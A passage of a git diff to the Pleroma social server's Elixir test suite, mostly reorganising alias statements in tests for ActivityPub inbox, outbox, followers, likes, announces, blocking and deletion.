	other_user = insert(:user, local: true, info: %{is_admin: true})

	assert User.visible_for?(user, other_user)

	Pleroma.Config.put([:instance, :account_activation_required], false)
	end
	end

	describe "parse_bio/2" do
	test "preserves hosts in user links text" do
	remote_user = insert(:user, local: false, nickname: "nick@domain.com")
	user = insert(:user)
	bio = "A.k.a. @nick@domain.com"

	expected_text =
	"A.k.a. <span class='h-card'><a data-user='#{remote_user.id}' class='u-url mention' href='#{
	remote_user.ap_id
	}'>" <> "@<span>nick@domain.com</span></a></span>"

	assert expected_text == User.parse_bio(bio, user)
	end
	end

	test "bookmarks" do
	user = insert(:user)

	{:ok, activity1} =
	CommonAPI.post(user, %{
	"status" => "heweoo!"
	})

	id1 = activity1.data["object"]["id"]

	{:ok, activity2} =
	CommonAPI.post(user, %{
	"status" => "heweoo!"
	})

	id2 = activity2.data["object"]["id"]

	assert {:ok, user_state1} = User.bookmark(user, id1)
	assert user_state1.bookmarks == [id1]

	assert {:ok, user_state2} = User.unbookmark(user, id1)
	assert user_state2.bookmarks == []

	assert {:ok, user_state3} = User.bookmark(user, id2)
	assert user_state3.bookmarks == [id2]
	end
	end
	diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs
	index 9f6d87caa..398bedf77 100644
	--- a/test/web/activity_pub/activity_pub_controller_test.exs
	+++ b/test/web/activity_pub/activity_pub_controller_test.exs
	@@ -1,485 +1,490 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
	use Pleroma.Web.ConnCase
	import Pleroma.Factory
	- alias Pleroma.Web.ActivityPub.{UserView, ObjectView}
	- alias Pleroma.{Object, Repo, Activity, User, Instances}
	+ alias Pleroma.Web.ActivityPub.UserView
	+ alias Pleroma.Web.ActivityPub.ObjectView
	+ alias Pleroma.Object
	+ alias Pleroma.Repo
	+ alias Pleroma.Activity
	+ alias Pleroma.User
	+ alias Pleroma.Instances

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "/relay" do
	test "with the relay active, it returns the relay user", %{conn: conn} do
	res =
	conn
	\|> get(activity_pub_path(conn, :relay))
	\|> json_response(200)

	assert res["id"] =~ "/relay"
	end

	test "with the relay disabled, it returns 404", %{conn: conn} do
	Pleroma.Config.put([:instance, :allow_relay], false)

	conn
	\|> get(activity_pub_path(conn, :relay))
	\|> json_response(404)
	\|> assert

	Pleroma.Config.put([:instance, :allow_relay], true)
	end
	end

	describe "/users/:nickname" do
	test "it returns a json representation of the user", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/users/#{user.nickname}")

	user = Repo.get(User, user.id)

	assert json_response(conn, 200) == UserView.render("user.json", %{user: user})
	end
	end

	describe "/object/:uuid" do
	test "it returns a json representation of the object", %{conn: conn} do
	note = insert(:note)
	uuid = String.split(note.data["id"], "/") \|> List.last()

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/objects/#{uuid}")

	assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note})
	end

	test "it returns 404 for non-public messages", %{conn: conn} do
	note = insert(:direct_note)
	uuid = String.split(note.data["id"], "/") \|> List.last()

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/objects/#{uuid}")

	assert json_response(conn, 404)
	end

	test "it returns 404 for tombstone objects", %{conn: conn} do
	tombstone = insert(:tombstone)
	uuid = String.split(tombstone.data["id"], "/") \|> List.last()

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/objects/#{uuid}")

	assert json_response(conn, 404)
	end
	end

	describe "/object/:uuid/likes" do
	test "it returns the like activities in a collection", %{conn: conn} do
	like = insert(:like_activity)
	uuid = String.split(like.data["object"], "/") \|> List.last()

	result =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/objects/#{uuid}/likes")
	\|> json_response(200)

	assert List.first(result["first"]["orderedItems"])["id"] == like.data["id"]
	end
	end

	describe "/activities/:uuid" do
	test "it returns a json representation of the activity", %{conn: conn} do
	activity = insert(:note_activity)
	uuid = String.split(activity.data["id"], "/") \|> List.last()

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/activities/#{uuid}")

	assert json_response(conn, 200) == ObjectView.render("object.json", %{object: activity})
	end

	test "it returns 404 for non-public activities", %{conn: conn} do
	activity = insert(:direct_note_activity)
	uuid = String.split(activity.data["id"], "/") \|> List.last()

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/activities/#{uuid}")

	assert json_response(conn, 404)
	end
	end

	describe "/inbox" do
	test "it inserts an incoming activity into the database", %{conn: conn} do
	data = File.read!("test/fixtures/mastodon-post-activity.json") \|> Poison.decode!()

	conn =
	conn
	\|> assign(:valid_signature, true)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/inbox", data)

	assert "ok" == json_response(conn, 200)
	:timer.sleep(500)
	assert Activity.get_by_ap_id(data["id"])
	end

	test "it clears `unreachable` federation status of the sender", %{conn: conn} do
	data = File.read!("test/fixtures/mastodon-post-activity.json") \|> Poison.decode!()

	sender_url = data["actor"]
	Instances.set_consistently_unreachable(sender_url)
	refute Instances.reachable?(sender_url)

	conn =
	conn
	\|> assign(:valid_signature, true)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/inbox", data)

	assert "ok" == json_response(conn, 200)
	assert Instances.reachable?(sender_url)
	end
	end

	describe "/users/:nickname/inbox" do
	test "it inserts an incoming activity into the database", %{conn: conn} do
	user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-post-activity.json")
	\|> Poison.decode!()
	\|> Map.put("bcc", [user.ap_id])

	conn =
	conn
	\|> assign(:valid_signature, true)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/users/#{user.nickname}/inbox", data)

	assert "ok" == json_response(conn, 200)
	:timer.sleep(500)
	assert Activity.get_by_ap_id(data["id"])
	end

	test "it rejects reads from other users", %{conn: conn} do
	user = insert(:user)
	otheruser = insert(:user)

	conn =
	conn
	\|> assign(:user, otheruser)
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/users/#{user.nickname}/inbox")

	assert json_response(conn, 403)
	end

	test "it returns a note activity in a collection", %{conn: conn} do
	note_activity = insert(:direct_note_activity)
	user = User.get_cached_by_ap_id(hd(note_activity.data["to"]))

	conn =
	conn
	\|> assign(:user, user)
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/users/#{user.nickname}/inbox")

	assert response(conn, 200) =~ note_activity.data["object"]["content"]
	end

	test "it clears `unreachable` federation status of the sender", %{conn: conn} do
	user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-post-activity.json")
	\|> Poison.decode!()
	\|> Map.put("bcc", [user.ap_id])

	sender_host = URI.parse(data["actor"]).host
	Instances.set_consistently_unreachable(sender_host)
	refute Instances.reachable?(sender_host)

	conn =
	conn
	\|> assign(:valid_signature, true)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/users/#{user.nickname}/inbox", data)

	assert "ok" == json_response(conn, 200)
	assert Instances.reachable?(sender_host)
	end
	end

	describe "/users/:nickname/outbox" do
	test "it returns a note activity in a collection", %{conn: conn} do
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/users/#{user.nickname}/outbox")

	assert response(conn, 200) =~ note_activity.data["object"]["content"]
	end

	test "it returns an announce activity in a collection", %{conn: conn} do
	announce_activity = insert(:announce_activity)
	user = User.get_cached_by_ap_id(announce_activity.data["actor"])

	conn =
	conn
	\|> put_req_header("accept", "application/activity+json")
	\|> get("/users/#{user.nickname}/outbox")

	assert response(conn, 200) =~ announce_activity.data["object"]
	end

	test "it rejects posts from other users", %{conn: conn} do
	data = File.read!("test/fixtures/activitypub-client-post-activity.json") \|> Poison.decode!()
	user = insert(:user)
	otheruser = insert(:user)

	conn =
	conn
	\|> assign(:user, otheruser)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/users/#{user.nickname}/outbox", data)

	assert json_response(conn, 403)
	end

	test "it inserts an incoming create activity into the database", %{conn: conn} do
	data = File.read!("test/fixtures/activitypub-client-post-activity.json") \|> Poison.decode!()
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/users/#{user.nickname}/outbox", data)

	result = json_response(conn, 201)
	assert Activity.get_by_ap_id(result["id"])
	end

	test "it rejects an incoming activity with bogus type", %{conn: conn} do
	data = File.read!("test/fixtures/activitypub-client-post-activity.json") \|> Poison.decode!()
	user = insert(:user)

	data =
	data
	\|> Map.put("type", "BadType")

	conn =
	conn
	\|> assign(:user, user)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/users/#{user.nickname}/outbox", data)

	assert json_response(conn, 400)
	end

	test "it erects a tombstone when receiving a delete activity", %{conn: conn} do
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])

	data = %{
	type: "Delete",
	object: %{
	id: note_activity.data["object"]["id"]
	}
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/users/#{user.nickname}/outbox", data)

	result = json_response(conn, 201)
	assert Activity.get_by_ap_id(result["id"])

	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	assert object
	assert object.data["type"] == "Tombstone"
	end

	test "it rejects delete activity of object from other actor", %{conn: conn} do
	note_activity = insert(:note_activity)
	user = insert(:user)

	data = %{
	type: "Delete",
	object: %{
	id: note_activity.data["object"]["id"]
	}
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/users/#{user.nickname}/outbox", data)

	assert json_response(conn, 400)
	end

	test "it increases like count when receiving a like action", %{conn: conn} do
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])

	data = %{
	type: "Like",
	object: %{
	id: note_activity.data["object"]["id"]
	}
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> put_req_header("content-type", "application/activity+json")
	\|> post("/users/#{user.nickname}/outbox", data)

	result = json_response(conn, 201)
	assert Activity.get_by_ap_id(result["id"])

	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	assert object
	assert object.data["like_count"] == 1
	end
	end

	describe "/users/:nickname/followers" do
	test "it returns the followers in a collection", %{conn: conn} do
	user = insert(:user)
	user_two = insert(:user)
	User.follow(user, user_two)

	result =
	conn
	\|> get("/users/#{user_two.nickname}/followers")
	\|> json_response(200)

	assert result["first"]["orderedItems"] == [user.ap_id]
	end

	test "it returns returns empty if the user has 'hide_followers' set", %{conn: conn} do
	user = insert(:user)
	user_two = insert(:user, %{info: %{hide_followers: true}})
	User.follow(user, user_two)

	result =
	conn
	\|> get("/users/#{user_two.nickname}/followers")
	\|> json_response(200)

	assert result["first"]["orderedItems"] == []
	assert result["totalItems"] == 0
	end

	test "it works for more than 10 users", %{conn: conn} do
	user = insert(:user)

	Enum.each(1..15, fn _ ->
	other_user = insert(:user)
	User.follow(other_user, user)
	end)

	result =
	conn
	\|> get("/users/#{user.nickname}/followers")
	\|> json_response(200)

	assert length(result["first"]["orderedItems"]) == 10
	assert result["first"]["totalItems"] == 15
	assert result["totalItems"] == 15

	result =
	conn
	\|> get("/users/#{user.nickname}/followers?page=2")
	\|> json_response(200)

	assert length(result["orderedItems"]) == 5
	assert result["totalItems"] == 15
	end
	end

	describe "/users/:nickname/following" do
	test "it returns the following in a collection", %{conn: conn} do
	user = insert(:user)
	user_two = insert(:user)
	User.follow(user, user_two)

	result =
	conn
	\|> get("/users/#{user.nickname}/following")
	\|> json_response(200)

	assert result["first"]["orderedItems"] == [user_two.ap_id]
	end

	test "it returns returns empty if the user has 'hide_follows' set", %{conn: conn} do
	user = insert(:user, %{info: %{hide_follows: true}})
	user_two = insert(:user)
	User.follow(user, user_two)

	result =
	conn
	\|> get("/users/#{user.nickname}/following")
	\|> json_response(200)

	assert result["first"]["orderedItems"] == []
	assert result["totalItems"] == 0
	end

	test "it works for more than 10 users", %{conn: conn} do
	user = insert(:user)

	Enum.each(1..15, fn _ ->
	user = Repo.get(User, user.id)
	other_user = insert(:user)
	User.follow(user, other_user)
	end)

	result =
	conn
	\|> get("/users/#{user.nickname}/following")
	\|> json_response(200)

	assert length(result["first"]["orderedItems"]) == 10
	assert result["first"]["totalItems"] == 15
	assert result["totalItems"] == 15

	result =
	conn
	\|> get("/users/#{user.nickname}/following?page=2")
	\|> json_response(200)

	assert length(result["orderedItems"]) == 5
	assert result["totalItems"] == 15
	end
	end
	end
	diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs
	index a55961ac4..a6f8b822a 100644
	--- a/test/web/activity_pub/activity_pub_test.exs
	+++ b/test/web/activity_pub/activity_pub_test.exs
	@@ -1,812 +1,815 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
	use Pleroma.DataCase
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.CommonAPI
	- alias Pleroma.{Activity, Object, User, Instances}
	+ alias Pleroma.Activity
	+ alias Pleroma.Object
	+ alias Pleroma.User
	+ alias Pleroma.Instances
	alias Pleroma.Builders.ActivityBuilder

	import Pleroma.Factory
	import Tesla.Mock
	import Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "fetching restricted by visibility" do
	test "it restricts by the appropriate visibility" do
	user = insert(:user)

	{:ok, public_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "public"})

	{:ok, direct_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "direct"})

	{:ok, unlisted_activity} =
	CommonAPI.post(user, %{"status" => ".", "visibility" => "unlisted"})

	{:ok, private_activity} =
	CommonAPI.post(user, %{"status" => ".", "visibility" => "private"})

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "direct", "actor_id" => user.ap_id})

	assert activities == [direct_activity]

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "unlisted", "actor_id" => user.ap_id})

	assert activities == [unlisted_activity]

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "private", "actor_id" => user.ap_id})

	assert activities == [private_activity]

	activities =
	ActivityPub.fetch_activities([], %{:visibility => "public", "actor_id" => user.ap_id})

	assert activities == [public_activity]
	end
	end

	describe "building a user from his ap id" do
	test "it returns a user" do
	user_id = "http://mastodon.example.org/users/admin"
	{:ok, user} = ActivityPub.make_user_from_ap_id(user_id)
	assert user.ap_id == user_id
	assert user.nickname == "admin@mastodon.example.org"
	assert user.info.source_data
	assert user.info.ap_enabled
	assert user.follower_address == "http://mastodon.example.org/users/admin/followers"
	end

	test "it fetches the appropriate tag-restricted posts" do
	user = insert(:user)

	{:ok, status_one} = CommonAPI.post(user, %{"status" => ". #test"})
	{:ok, status_two} = CommonAPI.post(user, %{"status" => ". #essais"})
	{:ok, status_three} = CommonAPI.post(user, %{"status" => ". #test #reject"})

	fetch_one = ActivityPub.fetch_activities([], %{"tag" => "test"})
	fetch_two = ActivityPub.fetch_activities([], %{"tag" => ["test", "essais"]})

	fetch_three =
	ActivityPub.fetch_activities([], %{
	"tag" => ["test", "essais"],
	"tag_reject" => ["reject"]
	})

	fetch_four =
	ActivityPub.fetch_activities([], %{
	"tag" => ["test"],
	"tag_all" => ["test", "reject"]
	})

	assert fetch_one == [status_one, status_three]
	assert fetch_two == [status_one, status_two, status_three]
	assert fetch_three == [status_one, status_two]
	assert fetch_four == [status_three]
	end
	end

	describe "insertion" do
	test "drops activities beyond a certain limit" do
	limit = Pleroma.Config.get([:instance, :remote_limit])

	random_text =
	:crypto.strong_rand_bytes(limit + 1)
	\|> Base.encode64()
	\|> binary_part(0, limit + 1)

	data = %{
	"ok" => true,
	"object" => %{
	"content" => random_text
	}
	}

	assert {:error, {:remote_limit_error, _}} = ActivityPub.insert(data)
	end

	test "doesn't drop activities with content being null" do
	data = %{
	"ok" => true,
	"object" => %{
	"content" => nil
	}
	}

	assert {:ok, _} = ActivityPub.insert(data)
	end

	test "returns the activity if one with the same id is already in" do
	activity = insert(:note_activity)
	{:ok, new_activity} = ActivityPub.insert(activity.data)

	assert activity == new_activity
	end

	test "inserts a given map into the activity database, giving it an id if it has none." do
	data = %{
	"ok" => true
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	assert activity.data["ok"] == data["ok"]
	assert is_binary(activity.data["id"])

	given_id = "bla"

	data = %{
	"ok" => true,
	"id" => given_id,
	"context" => "blabla"
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	assert activity.data["ok"] == data["ok"]
	assert activity.data["id"] == given_id
	assert activity.data["context"] == "blabla"
	assert activity.data["context_id"]
	end

	test "adds a context when none is there" do
	data = %{
	"id" => "some_id",
	"object" => %{
	"id" => "object_id"
	}
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)

	assert is_binary(activity.data["context"])
	assert is_binary(activity.data["object"]["context"])
	assert activity.data["context_id"]
	assert activity.data["object"]["context_id"]
	end

	test "adds an id to a given object if it lacks one and is a note and inserts it to the object database" do
	data = %{
	"object" => %{
	"type" => "Note",
	"ok" => true
	}
	}

	{:ok, %Activity{} = activity} = ActivityPub.insert(data)
	assert is_binary(activity.data["object"]["id"])
	assert %Object{} = Object.get_by_ap_id(activity.data["object"]["id"])
	end
	end

	describe "create activities" do
	test "removes doubled 'to' recipients" do
	user = insert(:user)

	{:ok, activity} =
	ActivityPub.create(%{
	to: ["user1", "user1", "user2"],
	actor: user,
	context: "",
	object: %{}
	})

	assert activity.data["to"] == ["user1", "user2"]
	assert activity.actor == user.ap_id
	assert activity.recipients == ["user1", "user2", user.ap_id]
	end
	end

	describe "fetch activities for recipients" do
	test "retrieve the activities for certain recipients" do
	{:ok, activity_one} = ActivityBuilder.insert(%{"to" => ["someone"]})
	{:ok, activity_two} = ActivityBuilder.insert(%{"to" => ["someone_else"]})
	{:ok, _activity_three} = ActivityBuilder.insert(%{"to" => ["noone"]})

	activities = ActivityPub.fetch_activities(["someone", "someone_else"])
	assert length(activities) == 2
	assert activities == [activity_one, activity_two]
	end
	end

	describe "fetch activities in context" do
	test "retrieves activities that have a given context" do
	{:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
	{:ok, activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"})
	{:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"})
	{:ok, _activity_four} = ActivityBuilder.insert(%{"type" => "Announce", "context" => "2hu"})
	activity_five = insert(:note_activity)
	user = insert(:user)

	{:ok, user} = User.block(user, %{ap_id: activity_five.data["actor"]})

	activities = ActivityPub.fetch_activities_for_context("2hu", %{"blocking_user" => user})
	assert activities == [activity_two, activity]
	end
	end

	test "doesn't return blocked activities" do
	activity_one = insert(:note_activity)
	activity_two = insert(:note_activity)
	activity_three = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)
	{:ok, user} = User.block(user, %{ap_id: activity_one.data["actor"]})

	activities = ActivityPub.fetch_activities([], %{"blocking_user" => user})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	refute Enum.member?(activities, activity_one)

	{:ok, user} = User.unblock(user, %{ap_id: activity_one.data["actor"]})

	activities = ActivityPub.fetch_activities([], %{"blocking_user" => user})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, activity_one)

	{:ok, user} = User.block(user, %{ap_id: activity_three.data["actor"]})
	{:ok, _announce, %{data: %{"id" => id}}} = CommonAPI.repeat(activity_three.id, booster)
	%Activity{} = boost_activity = Activity.get_create_by_object_ap_id(id)
	activity_three = Repo.get(Activity, activity_three.id)

	activities = ActivityPub.fetch_activities([], %{"blocking_user" => user})

	assert Enum.member?(activities, activity_two)
	refute Enum.member?(activities, activity_three)
	refute Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)

	activities = ActivityPub.fetch_activities([], %{"blocking_user" => nil})

	assert Enum.member?(activities, activity_two)
	assert Enum.member?(activities, activity_three)
	assert Enum.member?(activities, boost_activity)
	assert Enum.member?(activities, activity_one)
	end

	test "excludes reblogs on request" do
	user = insert(:user)
	{:ok, expected_activity} = ActivityBuilder.insert(%{"type" => "Create"}, %{:user => user})
	{:ok, _} = ActivityBuilder.insert(%{"type" => "Announce"}, %{:user => user})

	[activity] = ActivityPub.fetch_user_activities(user, nil, %{"exclude_reblogs" => "true"})

	assert activity == expected_activity
	end

	describe "public fetch activities" do
	test "doesn't retrieve unlisted activities" do
	user = insert(:user)

	{:ok, _unlisted_activity} =
	CommonAPI.post(user, %{"status" => "yeah", "visibility" => "unlisted"})

	{:ok, listed_activity} = CommonAPI.post(user, %{"status" => "yeah"})

	[activity] = ActivityPub.fetch_public_activities()

	assert activity == listed_activity
	end

	test "retrieves public activities" do
	_activities = ActivityPub.fetch_public_activities()

	%{public: public} = ActivityBuilder.public_and_non_public()

	activities = ActivityPub.fetch_public_activities()
	assert length(activities) == 1
	assert Enum.at(activities, 0) == public
	end

	test "retrieves a maximum of 20 activities" do
	activities = ActivityBuilder.insert_list(30)
	last_expected = List.last(activities)

	activities = ActivityPub.fetch_public_activities()
	last = List.last(activities)

	assert length(activities) == 20
	assert last == last_expected
	end

	test "retrieves ids starting from a since_id" do
	activities = ActivityBuilder.insert_list(30)
	later_activities = ActivityBuilder.insert_list(10)
	since_id = List.last(activities).id
	last_expected = List.last(later_activities)

	activities = ActivityPub.fetch_public_activities(%{"since_id" => since_id})
	last = List.last(activities)

	assert length(activities) == 10
	assert last == last_expected
	end

	test "retrieves ids up to max_id" do
	_first_activities = ActivityBuilder.insert_list(10)
	activities = ActivityBuilder.insert_list(20)
	later_activities = ActivityBuilder.insert_list(10)
	max_id = List.first(later_activities).id
	last_expected = List.last(activities)

	activities = ActivityPub.fetch_public_activities(%{"max_id" => max_id})
	last = List.last(activities)

	assert length(activities) == 20
	assert last == last_expected
	end
	end

	describe "like an object" do
	test "adds a like activity to the db" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)
	user_two = insert(:user)

	{:ok, like_activity, object} = ActivityPub.like(user, object)

	assert like_activity.data["actor"] == user.ap_id
	assert like_activity.data["type"] == "Like"
	assert like_activity.data["object"] == object.data["id"]
	assert like_activity.data["to"] == [User.ap_followers(user), note_activity.data["actor"]]
	assert like_activity.data["context"] == object.data["context"]
	assert object.data["like_count"] == 1
	assert object.data["likes"] == [user.ap_id]

	# Just return the original activity if the user already liked it.
	{:ok, same_like_activity, object} = ActivityPub.like(user, object)

	assert like_activity == same_like_activity
	assert object.data["likes"] == [user.ap_id]

	[note_activity] = Activity.get_all_create_by_object_ap_id(object.data["id"])
	assert note_activity.data["object"]["like_count"] == 1

	{:ok, _like_activity, object} = ActivityPub.like(user_two, object)
	assert object.data["like_count"] == 2
	end
	end

	describe "unliking" do
	test "unliking a previously liked object" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)

	# Unliking something that hasn't been liked does nothing
	{:ok, object} = ActivityPub.unlike(user, object)
	assert object.data["like_count"] == 0

	{:ok, like_activity, object} = ActivityPub.like(user, object)
	assert object.data["like_count"] == 1

	{:ok, _, _, object} = ActivityPub.unlike(user, object)
	assert object.data["like_count"] == 0

	assert Repo.get(Activity, like_activity.id) == nil
	end
	end

	describe "announcing an object" do
	test "adds an announce activity to the db" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)

	{:ok, announce_activity, object} = ActivityPub.announce(user, object)
	assert object.data["announcement_count"] == 1
	assert object.data["announcements"] == [user.ap_id]

	assert announce_activity.data["to"] == [
	User.ap_followers(user),
	note_activity.data["actor"]
	]

	assert announce_activity.data["object"] == object.data["id"]
	assert announce_activity.data["actor"] == user.ap_id
	assert announce_activity.data["context"] == object.data["context"]
	end
	end

	describe "unannouncing an object" do
	test "unannouncing a previously announced object" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)

	# Unannouncing an object that is not announced does nothing
	# {:ok, object} = ActivityPub.unannounce(user, object)
	# assert object.data["announcement_count"] == 0

	{:ok, announce_activity, object} = ActivityPub.announce(user, object)
	assert object.data["announcement_count"] == 1

	{:ok, unannounce_activity, object} = ActivityPub.unannounce(user, object)
	assert object.data["announcement_count"] == 0

	assert unannounce_activity.data["to"] == [
	User.ap_followers(user),
	announce_activity.data["actor"]
	]

	assert unannounce_activity.data["type"] == "Undo"
	assert unannounce_activity.data["object"] == announce_activity.data
	assert unannounce_activity.data["actor"] == user.ap_id
	assert unannounce_activity.data["context"] == announce_activity.data["context"]

	assert Repo.get(Activity, announce_activity.id) == nil
	end
	end

	describe "uploading files" do
	test "copies the file to the configured folder" do
	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, %Object{} = object} = ActivityPub.upload(file)
	assert object.data["name"] == "an_image.jpg"
	end

	test "works with base64 encoded images" do
	file = %{
	"img" => data_uri()
	}

	{:ok, %Object{}} = ActivityPub.upload(file)
	end
	end

	describe "fetch the latest Follow" do
	test "fetches the latest Follow activity" do
	%Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity)
	follower = Repo.get_by(User, ap_id: activity.data["actor"])
	followed = Repo.get_by(User, ap_id: activity.data["object"])

	assert activity == Utils.fetch_latest_follow(follower, followed)
	end
	end

	describe "fetching an object" do
	test "it fetches an object" do
	{:ok, object} =
	ActivityPub.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")

	assert activity = Activity.get_create_by_object_ap_id(object.data["id"])
	assert activity.data["id"]

	{:ok, object_again} =
	ActivityPub.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")

	assert [attachment] = object.data["attachment"]
	assert is_list(attachment["url"])

	assert object == object_again
	end

	test "it works with objects only available via Ostatus" do
	{:ok, object} = ActivityPub.fetch_object_from_id("https://shitposter.club/notice/2827873")
	assert activity = Activity.get_create_by_object_ap_id(object.data["id"])
	assert activity.data["id"]

	{:ok, object_again} =
	ActivityPub.fetch_object_from_id("https://shitposter.club/notice/2827873")

	assert object == object_again
	end

	test "it correctly stitches up conversations between ostatus and ap" do
	last = "https://mstdn.io/users/mayuutann/statuses/99568293732299394"
	{:ok, object} = ActivityPub.fetch_object_from_id(last)

	object = Object.get_by_ap_id(object.data["inReplyTo"])
	assert object
	end
	end

	describe "following / unfollowing" do
	test "creates a follow activity" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, activity} = ActivityPub.follow(follower, followed)
	assert activity.data["type"] == "Follow"
	assert activity.data["actor"] == follower.ap_id
	assert activity.data["object"] == followed.ap_id
	end

	test "creates an undo activity for the last follow" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, follow_activity} = ActivityPub.follow(follower, followed)
	{:ok, activity} = ActivityPub.unfollow(follower, followed)

	assert activity.data["type"] == "Undo"
	assert activity.data["actor"] == follower.ap_id

	assert is_map(activity.data["object"])
	assert activity.data["object"]["type"] == "Follow"
	assert activity.data["object"]["object"] == followed.ap_id
	assert activity.data["object"]["id"] == follow_activity.data["id"]
	end
	end

	describe "blocking / unblocking" do
	test "creates a block activity" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, activity} = ActivityPub.block(blocker, blocked)

	assert activity.data["type"] == "Block"
	assert activity.data["actor"] == blocker.ap_id
	assert activity.data["object"] == blocked.ap_id
	end

	test "creates an undo activity for the last block" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, block_activity} = ActivityPub.block(blocker, blocked)
	{:ok, activity} = ActivityPub.unblock(blocker, blocked)

	assert activity.data["type"] == "Undo"
	assert activity.data["actor"] == blocker.ap_id

	assert is_map(activity.data["object"])
	assert activity.data["object"]["type"] == "Block"
	assert activity.data["object"]["object"] == blocked.ap_id
	assert activity.data["object"]["id"] == block_activity.data["id"]
	end
	end

	describe "deletion" do
	test "it creates a delete activity and deletes the original object" do
	note = insert(:note_activity)
	object = Object.get_by_ap_id(note.data["object"]["id"])
	{:ok, delete} = ActivityPub.delete(object)

	assert delete.data["type"] == "Delete"
	assert delete.data["actor"] == note.data["actor"]
	assert delete.data["object"] == note.data["object"]["id"]

	assert Repo.get(Activity, delete.id) != nil

	assert Repo.get(Object, object.id).data["type"] == "Tombstone"
	end
	end

	describe "timeline post-processing" do
	test "it filters broken threads" do
	user1 = insert(:user)
	user2 = insert(:user)
	user3 = insert(:user)

	{:ok, user1} = User.follow(user1, user3)
	assert User.following?(user1, user3)

	{:ok, user2} = User.follow(user2, user3)
	assert User.following?(user2, user3)

	{:ok, user3} = User.follow(user3, user2)
	assert User.following?(user3, user2)

	{:ok, public_activity} = CommonAPI.post(user3, %{"status" => "hi 1"})

	{:ok, private_activity_1} =
	CommonAPI.post(user3, %{"status" => "hi 2", "visibility" => "private"})

	{:ok, private_activity_2} =
	CommonAPI.post(user2, %{
	"status" => "hi 3",
	"visibility" => "private",
	"in_reply_to_status_id" => private_activity_1.id
	})

	{:ok, private_activity_3} =
	CommonAPI.post(user3, %{
